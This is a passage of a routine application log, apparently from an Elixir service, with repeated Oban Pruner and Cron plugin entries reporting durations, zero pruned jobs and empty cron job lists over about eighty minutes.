{"source":"oban","duration":1154,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:50.338 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:00.926 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:23:20.340 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:50.342 [info] {"source":"oban","duration":1587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:00.927 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:24:20.344 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:50.346 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:00.928 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:25:20.348 [info] {"source":"oban","duration":1516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:50.350 [info] {"source":"oban","duration":1131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:00.929 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:26:20.352 [info] {"source":"oban","duration":1634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:50.354 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:00.930 [info] {"source":"oban","duration":241,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:27:20.356 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:50.358 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:00.931 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:28:20.360 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:50.362 [info] {"source":"oban","duration":1323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:00.932 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:29:20.364 [info] {"source":"oban","duration":1634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:50.366 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:00.933 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:30:20.368 [info] {"source":"oban","duration":1016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:50.370 [info] {"source":"oban","duration":1097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:00.934 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:31:20.372 [info] {"source":"oban","duration":1638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:50.374 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:00.935 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:32:20.376 [info] {"source":"oban","duration":1672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:50.378 [info] {"source":"oban","duration":1599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:00.936 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:33:20.380 [info] {"source":"oban","duration":1608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:50.382 [info] {"source":"oban","duration":1748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:00.937 [info] {"source":"oban","duration":253,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:34:20.385 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:50.387 [info] {"source":"oban","duration":1617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:00.938 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:35:20.389 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:50.391 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:00.939 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:36:20.393 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:50.395 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:00.940 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:37:20.397 [info] {"source":"oban","duration":1629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:50.399 [info] {"source":"oban","duration":1674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:00.941 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:38:20.401 [info] {"source":"oban","duration":1661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:50.403 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:00.942 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:39:20.405 [info] {"source":"oban","duration":971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:50.407 [info] {"source":"oban","duration":1641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:00.943 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:40:20.409 [info] {"source":"oban","duration":1345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:50.411 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:00.944 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:41:20.413 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:50.415 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:00.945 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:42:20.417 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:50.419 [info] {"source":"oban","duration":1194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:00.946 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:43:20.421 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:50.423 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:00.947 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:44:20.425 [info] {"source":"oban","duration":1124,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:50.427 [info] {"source":"oban","duration":1253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:00.948 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:45:20.429 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:50.431 [info] {"source":"oban","duration":1001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:00.949 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:46:20.433 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:50.435 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:00.950 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:47:20.437 [info] {"source":"oban","duration":1150,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:50.439 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:00.951 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:48:20.441 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:50.444 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:00.952 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:49:20.446 [info] {"source":"oban","duration":1747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:50.449 [info] {"source":"oban","duration":1592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:00.953 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:50:20.451 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:50.453 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:00.954 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:51:20.455 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:50.457 [info] {"source":"oban","duration":1664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:00.955 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:52:20.459 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:50.461 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:00.956 [info] {"source":"oban","duration":326,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:53:20.463 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:50.465 [info] {"source":"oban","duration":1156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:00.957 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:54:20.466 [info] {"source":"oban","duration":922,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:50.469 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:00.958 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:55:20.471 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:50.473 [info] {"source":"oban","duration":1029,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:00.959 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:56:20.475 [info] {"source":"oban","duration":990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:50.477 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:00.960 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:57:20.479 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:50.481 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:00.961 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:58:20.483 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:50.485 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:00.962 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:59:20.487 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:50.489 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:00.963 [info] {"source":"oban","duration":241,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:00:20.491 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:50.493 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:00.964 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:01:20.495 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:50.497 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:00.965 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:02:20.499 [info] {"source":"oban","duration":1093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:50.501 [info] {"source":"oban","duration":1034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:00.966 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:03:20.503 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:50.505 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:00.967 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:04:20.507 [info] {"source":"oban","duration":916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:50.509 [info] {"source":"oban","duration":1022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:00.968 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:05:20.511 [info] {"source":"oban","duration":1614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:50.513 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:06:00.969 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:06:20.515 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:06:50.517 [info] {"source":"oban","duration":1051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:00.970 [info] {"source":"oban","duration":221,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:07:20.519 [info] {"source":"oban","duration":1588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:50.521 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:00.971 [info] {"source":"oban","duration":317,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:08:20.523 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:50.525 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:00.972 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:09:20.527 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:50.529 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:00.973 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:10:20.531 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:50.533 [info] {"source":"oban","duration":1215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:00.974 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:11:20.535 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:50.537 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:12:00.975 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:12:20.539 [info] {"source":"oban","duration":1321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:12:50.541 [info] {"source":"oban","duration":1210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:00.976 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:13:20.543 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:50.545 [info] {"source":"oban","duration":962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:00.977 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:14:20.547 [info] {"source":"oban","duration":1038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:50.549 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:00.978 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:15:20.551 [info] {"source":"oban","duration":1608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:50.553 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:00.979 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:16:20.555 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:50.557 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:00.980 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:17:20.559 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:50.561 [info] {"source":"oban","duration":1133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:00.981 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:18:20.563 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:50.565 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:00.982 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:19:20.567 [info] {"source":"oban","duration":1621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:50.570 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:00.983 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:20:20.572 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:50.574 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:21:00.984 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:21:20.576 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:21:50.578 [info] {"source":"oban","duration":1035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:00.985 [info] {"source":"oban","duration":317,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:22:20.580 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:50.582 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:23:00.986 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:23:20.584 [info] {"source":"oban","duration":1244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:23:50.586 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:00.987 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:24:20.588 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:50.590 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:25:00.988 [info] {"source":"oban","duration":235,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:25:20.592 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:25:50.594 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:00.989 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:26:20.596 [info] {"source":"oban","duration":1088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:50.598 [info] {"source":"oban","duration":1657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:00.990 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:27:20.600 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:50.602 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:28:00.991 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:28:20.604 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:28:50.606 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:00.992 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:29:20.608 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:50.610 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:00.993 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:30:20.612 [info] {"source":"oban","duration":1045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:50.614 [info] {"source":"oban","duration":906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:00.994 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:31:20.616 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:50.618 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:32:00.995 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:32:20.620 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:32:50.622 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:00.996 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:33:20.624 [info] {"source":"oban","duration":1692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:50.627 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:00.997 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:34:20.629 [info] {"source":"oban","duration":1677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:50.632 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:35:00.998 [info] {"source":"oban","duration":508,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:35:20.634 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:35:50.636 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:00.999 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:36:20.638 [info] {"source":"oban","duration":1032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:50.640 [info] {"source":"oban","duration":1116,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:01.000 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:37:20.642 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:50.644 [info] {"source":"oban","duration":931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:00.001 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:38:20.646 [info] {"source":"oban","duration":1155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:50.648 [info] {"source":"oban","duration":1114,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:00.002 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:39:20.650 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:50.652 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:00.003 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:40:20.654 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:50.656 [info] {"source":"oban","duration":1303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:00.004 [info] {"source":"oban","duration":213,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:41:20.658 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:50.660 [info] 